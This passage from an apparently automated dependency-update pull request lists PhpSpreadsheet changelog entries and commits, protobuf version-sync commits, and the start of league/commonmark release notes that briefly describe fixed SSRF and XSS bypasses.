MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html optionally save formulas as data attributes. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4783\"\u003e#4783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4783\"\u003ePHPOffice/PhpSpreadsheet#4783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUser-supplied headers and footers in PDF. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003e#3159\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003ePHPOffice/PhpSpreadsheet#3159\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4789\"\u003e#4789\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4789\"\u003ePHPOffice/PhpSpreadsheet#4789\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWriter/Html constant BODY_LINE no longer makes sense with a configurable line ending. No replacement.\u003c/li\u003e\n\u003cli\u003eCalculation classes FormulaParser and FormulaToken are unused. No replacement.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet methods insertBitMap, positionImage, writeObjPicture, processBitmapGd, and processBitmap are unused. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove performance in value binders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4780\"\u003e#4780\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4780\"\u003ePHPOffice/PhpSpreadsheet#4780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eHandle Unions as Function Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003e#4656\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003ePHPOffice/PhpSpreadsheet#4656\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003e#316\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003ePHPOffice/PhpSpreadsheet#316\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003e#503\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003ePHPOffice/PhpSpreadsheet#503\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4657\"\u003e#4657\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4657\"\u003ePHPOffice/PhpSpreadsheet#4657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Behavior of CONCATENATE. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003e#4061\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003ePHPOffice/PhpSpreadsheet#4061\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4797\"\u003e#4797\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4797\"\u003ePHPOffice/PhpSpreadsheet#4797\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImage Css size in millimeters. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003e#4800\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003ePHPOffice/PhpSpreadsheet#4800\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4801\"\u003e#4801\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4801\"\u003ePHPOffice/PhpSpreadsheet#4801\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-02-28 - 5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.0.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `google/protobuf` from 4.31.1 to 4.33.6\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/84b008c23915ed94536737eae46f41ba3bccfe67\"\u003e\u003ccode\u003e84b008c\u003c/code\u003e\u003c/a\u003e 4.33.6 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/1debe453db83159b98a38df5a3737feb1e8ef016\"\u003e\u003ccode\u003e1debe45\u003c/code\u003e\u003c/a\u003e 5.34.0 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/3f6644d863943ebedafacfbfff2cb1c967a766b2\"\u003e\u003ccode\u003e3f6644d\u003c/code\u003e\u003c/a\u003e 5.34.0RC2 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/6fd2d13a7591515c8d09e6278f1a42a78e1adeac\"\u003e\u003ccode\u003e6fd2d13\u003c/code\u003e\u003c/a\u003e 4.29.6 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/ebe8010a61b2ae0cff0d246fe1c4d44e9f7dfa6d\"\u003e\u003ccode\u003eebe8010\u003c/code\u003e\u003c/a\u003e 4.33.5 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/a217acb35241a96fd6d6280e2b2540c30bd028f7\"\u003e\u003ccode\u003ea217acb\u003c/code\u003e\u003c/a\u003e 5.34.0RC1 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/22d28025cda0d223a2e48c2e16c5284ecc9f5402\"\u003e\u003ccode\u003e22d2802\u003c/code\u003e\u003c/a\u003e 4.33.4 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/281537d44d6c270606354e65bfa75a0969dbd629\"\u003e\u003ccode\u003e281537d\u003c/code\u003e\u003c/a\u003e 4.33.3 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/fbd96b7bf1343f4b0d8fb358526c7ba4d72f1318\"\u003e\u003ccode\u003efbd96b7\u003c/code\u003e\u003c/a\u003e 4.33.2 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/0cd73ccf0cd26c3e72299cce1ea6144091a57e12\"\u003e\u003ccode\u003e0cd73cc\u003c/code\u003e\u003c/a\u003e 4.33.1 sync\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/protocolbuffers/protobuf-php/compare/v4.31.1...v4.33.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `league/commonmark` from 2.7.0 to 2.8.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/thephpleague/commonmark/releases\"\u003eleague/commonmark's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.8.2\u003c/h2\u003e\n\u003cp\u003eThis is a \u003cstrong\u003esecurity release\u003c/strong\u003e to address an issue where the \u003ccode\u003eallowed_domains\u003c/code\u003e setting for the \u003ccode\u003eEmbed\u003c/code\u003e extension can be bypassed, resulting in a possible SSRF and XSS vulnerabilities.\u003c/p\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDomainFilteringAdapter\u003c/code\u003e hostname boundary bypass where domains like \u003ccode\u003eyoutube.com.evil\u003c/code\u003e could match an allowlist entry for \u003ccode\u003eyoutube.com\u003c/code\u003e (GHSA-hh8v-hgvp-g3f5)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/thephpleague/commonmark/compare/2.8.1...2.8.2\"\u003ehttps://github.com/thephpleague/commonmark/compare/2.8.1...2.8.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e2.8.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eThis is a \u003cstrong\u003esecurity release\u003c/strong\u003e to address an issue where \u003ccode\u003eDisallowedRawHtml\u003c/code\u003e can be bypassed, resulting in a possible cross-site scripting (XSS) vulnerability.\u003c/p\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDisallowedRawHtmlRenderer\u003c/code\u003e not blocking raw HTML tags with trailing ASCII whitespace (\u003ca 